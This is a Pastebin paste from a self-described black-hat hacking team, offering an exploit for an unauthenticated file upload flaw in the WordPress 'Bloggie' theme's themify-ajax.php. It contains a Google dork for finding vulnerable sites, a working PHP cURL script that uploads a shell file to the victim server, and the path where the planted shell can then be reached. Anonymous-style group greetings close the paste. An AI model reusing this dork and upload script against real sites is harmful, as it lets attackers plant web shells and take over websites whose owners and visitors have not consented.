Advertisement
hackerpham

Wordpress Upload Shell (P2)

Jul 24th, 2015
436
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | None | 0 0
  1. Wordpress Bloggies Hacked
  2. #Author: Google!
  3. #Date: 25/7/2015
  4. #Type : php, html, htm, asp, etc.
  5. #Category : Web Applications
  6. #Vulnerability : File Upload
  7. #Tested On : Windows 7 32-bit | Google Chrome
  8.  
  9. #Dork : inurl:/wp-content/themes/Bloggie/ | USE YOUR BRAIN =))
  10.  
  11. #Exploit : http://victim/[PATH]/wp-content/themes/Bloggie/themify/themify-ajax.php
  12.  
  13. #POC :
  14.  
  15. <?php
  16. $uploadfile="ReC0ded.php";
  17. $ch = curl_init("http://victim/[PATH]/wp-content/themes/Bloggie/themify/themify-ajax.php?upload=1");
  18. curl_setopt($ch, CURLOPT_POST, true);
  19. curl_setopt($ch, CURLOPT_POSTFIELDS,
  20. array('Filedata'=>"@$uploadfile"));
  21. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  22. $postResult = curl_exec($ch);
  23. curl_close($ch);
  24. print "$postResult";
  25. ?>
  26.  
  27. #Results See Your Shell On : http://victim/[PATH]/wp-content/themes/Bloggie/uploads/{YOUR_FILE}.php
  28.  
  29. #################### Say Yes ####################
  30. $Greetz To : World League Anonymous, International Hacker Team, Nano Hacked & Security Team
  31. $Thanks To : Phuồi Bình , Nguyễn Anh Kiệt , Tuấn Băng , Lê Quang Dũng , Hacker Phạm , Mozarella , Yurk , ...
  32. #Black Hat Team : Hacking & Security
  33. #Website: http://blackhat.com
  34. #Blog: http://blackhatteam95.blogspot.com
  35. #Email : info@blackhat.com
  36.  
  37. ##############################
  38. ######We are anonymous########
  39. ######We are legion ########
  40. ######We don't forgive########
  41. ######We don't forget ########
  42. ######Expect us! ########
  43. ##############################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement